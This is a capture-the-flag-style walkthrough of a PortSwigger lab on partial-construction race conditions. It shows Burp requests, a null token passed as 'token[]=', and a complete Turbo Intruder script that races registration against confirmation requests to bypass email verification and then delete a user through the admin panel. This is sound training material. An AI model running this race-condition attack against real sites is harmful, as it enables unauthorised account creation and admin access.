Lab: Partial construction race conditions

Predict a potential collision

After starting the exercise, the shop should be similar to the one shown in the screenshot. As we do not have a user for this shop, we try to create a user. We click on the ‘Register’ link at the top right.

The user registration form can only be used by employees, as an e-mail address with the domain @ginandjuice.shop is required.

We fill out the form once and send it to the application.

We only switch to the Burp Proxy and open the ‘HTTP history’ there. Here we search for a GET request to the endpoint /resources/static/users.js.

The JavaScript generates a form for the confirmation page, which is linked to the confirmation email. This shows that the confirmation is sent to /confirm via a POST request. The token is specified in the query string.

Now we switch to the Burp Repeater and create a request similar to the one that is sent when the confirmation link is clicked. To do this, we click on the ‘plus sign’ next to the tab number.

A window will appear in which we select the "HTTP" option.

Then we enter the following request in the Request section. The address of the Host header must be adapted, as your practice environment will have a different address.

POST /confirm?token=1 HTTP/2 
Host: 0afa00aa037e47da82f5dd6900cf0094.web-security-academy.net 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 0

Now let's experiment a little with the token parameter. When you send the request to the application for the first time, a window with the title ‘Configure target details’ opens. Here you enter the address of your practice environment in the ‘Host:’ field.

It should look something like the screenshot above.

It is also possible to send a request from the Burp Proxy to the Burp Repeater. It can then be customised there as described above.

In the first step, we send a request in which the parameter token=1.

POST /confirm?token=1 HTTP/2
Host: 0afa00aa037e47da82f5dd6900cf0094.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

If we now send this request, we will receive the following response.

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: phpsessionid=uM8syJx1eVUE7v0MAzDcfLhGN2XK9dSL; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 20

"Incorrect token: 1"

Apparently the value of our parameter token is not correct.

Now we remove the parameter token once from the query and receive the following response.

POST /confirm HTTP/2
Host: 0a96008c0456174d80517b1300c00020.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

The response we receive is ‘Missing parameter: token’.

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: phpsessionid=7cq7W2NZ7UuENUqjMhrINVU0e0ydvOf1; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 26

"Missing parameter: token"

In a last attempt, we send the parameter token without a value.

POST /confirm?token HTTP/2
Host: 0a96008c0456174d80517b1300c00020.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

We receive the message ‘Forbidden’.

HTTP/2 403 Forbidden
Content-Type: application/json; charset=utf-8
Set-Cookie: phpsessionid=JSK86mcHFu7NVnzlevHHnUQunAjEkNyZ; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 11

"Forbidden"

There may now be a small time window for a race condition between the request to register a user and the storage of the newly generated registration token in the database. If this is the case, there may be a temporary sub-state where null (or an equivalent value) is a valid token for confirming the user's registration.

Let's now experiment with different ways of passing a token parameter with a value that corresponds to null. With some frameworks, for example, an empty array can be passed with POST /confirm?token[]=. So let's now customise our request:

POST /confirm?token[]= HTTP/2
Host: 0a96008c0456174d80517b1300c00020.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

After sending, we receive the following response from the application.

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: phpsessionid=Np1VK0tPioHlHKxCGBBErBrc3A0iAW9J; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 24

"Incorrect token: Array"

The message ‘Incorrect token: Array’ tells us that we have successfully passed an empty array to the application.

Benchmark the behavior

We now switch to the Burp Proxy and open the ‘HTTP history’ tab there. We search there for a POST request to the endpoint /register.

We now send this request to the Burp Repeater. To do this, we move the mouse over the request and press the right mouse button. A context menu appears in which we select the option ‘Send to Repeater’. We then switch to the burp repeater.

If we now send this request to the application again, we receive the message ‘An account already exists with that username’. We will only receive this message if we tried to register a user at the beginning of this exercise. If you did not do this, then send the request twice in succession.

We now create a tab group from this request and the request with which we tested the token parameter earlier. To do this, we click on the plus sign next to the tab names. Don't forget, your tab names can be different.

A window opens in which you select the option ‘Create tab group’.

Now you need to enter a name for the tab group and select the tabs you want to add to the tab group. Don't forget, your tab names can be different.

The request with the parameter token must be adapted as follows:

POST /confirm?token=1 HTTP/2
Host: 0a96008c0456174d80517b1300c00020.web-security-academy.net
Cookie: phpsessionid=DxhT9iyPzA7HRYo6yX5GXJxH2wlXRH84
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

We do not send the token parameter as an array. We now configure the ‘Send’ button so that we send the request sequentially via a connection. To do this, we click on the down arrow next to the ‘Send’ button.

There we select the option ‘Send group in sequence (separate connections)’.

We will now send this group several times in succession. You can find more information about sequential sending via a connection in the Burp Suite documentation.

If we compare the response times of the two requests, we can see that the response from the endpoint /confirm?token=1 is faster than that from the endpoint /register.

Response from endpoint /confirm?token=1:

Response from endpoint /register:

If the group is to be sent more often, the user name must be changed each time. Otherwise, the message ‘Account already exists with this name’ will appear.

Prove the concept

The server compares the token that we send in the confirmation email with the user that it has just created. This sometimes takes longer because the response to the confirmation is processed quickly.

We now switch to the tab in which the request POST /register HTTP/2 is located and select the value of the parameter username.

We now move the mouse over the value and press the right mouse button. The following menu appears, in which we select the ‘Extensions’ option.

A submenu then opens in which we select ‘Send to turbo intruder’.

The Turbo Intruder now opens. In the upper section, we can see that the value of the parameter username has been replaced with the placeholder %s.

We now adjust the parameter email with a name that has not yet been used for registration. For example hacker999. We also memorise the password 123456.

We now select examples/race-single-packet-attack.py in the drop-down field.

In the Python editor, we change the main part of the template. We define a variable with the confirmation request that we tested in Repeater. We create a loop that queues a single registration request with a new username for each attempt. We set the gate argument to match the current iteration. We create a loop that queues a registration request with a new username for each attempt. This should use the same release gate. Open the gate for all requests in each attempt at the same time.

The following code contains all the adjustments described above and can be easily copied.

def queueRequests(target, wordlists): 
	engine = RequestEngine(endpoint=target.endpoint, 
							concurrentConnections=1, 
							engine=Engine.BURP2 )

	confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: YOUR-LAB-
	ID.web-security-academy.net Cookie: phpsessionid=YOUR-SESSION-TOKEN 
	Content-Length: 0 
	
	''' 
	
	for attempt in range(20): 
		currentAttempt = str(attempt) 
		username = 'User' + currentAttempt 
		
		# queue a single registration request 
		engine.queue(target.req, username, gate=currentAttempt) 
		
		# queue 50 confirmation requests - note that this will probably            
		# sent in two separate packets 
		for i in range(50): 
			engine.queue(confirmationReq, gate=currentAttempt) 
			
		# send all the queued requests for this attempt 
		engine.openGate(currentAttempt) 
		
def handleResponse(req, interesting): 
	table.add(req)

Before you start the attack, the Host header (line 6) and the Cookie header (line 7) must be filled with your data. The easiest way to do this is to insert the content of the request from Burp Repeater into the Turbo Intruder. Here is the request from Burp Repeater:

POST /confirm?token[]= HTTP/2
Host: 0a96008c0456174d80517b1300c00020.web-security-academy.net
Cookie: phpsessionid=DxhT9iyPzA7HRYo6yX5GXJxH2wlXRH84
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

This is what the request looks like in Turbo Intruder. The username parameter has been adjusted as we cannot create duplicate users. It can happen that this attack is not successful the first time, then the value of the parameter username and the address in the parameter email must be adjusted.

You can start the attack by clicking on the ‘Attack’ button.

After the attack is finished, click twice on the ‘Length’ column. Now we see three different lengths 3143, 2640 and 2636.

The replies with a length of 3143 contain the message ‘An account already exists with that email’. The same email address was used again here. The replies with the length 2640 contain the message ‘Please check your emails for your account registration link’. One reply with the length 2636 is interesting. This informs us with the message ‘Account registration for user user500012 is successful!’ that a user with the name user500012 has been successfully created.

We now switch to the browser and click on the link ‘My account’.

In the login form we enter the user name user500012 and the password 1234567. This password is from the request to the endpoint POST /register HTTP/2, which we have customised in the Turbo Intruder. After the successful login, we click on the link ‘Admin panel’ to delete the user carlos.

We see that several users exist there, we click on ‘Delete’ next to the user carlos.

The exercise has therefore been successfully completed.

Several attempts may be necessary to solve this exercise successfully. An important tip is to copy the lines from a request into the Turbo Intruder and do not try to write them yourself. A lot can go wrong here in terms of line breaks and so on.

Video solution

Last updated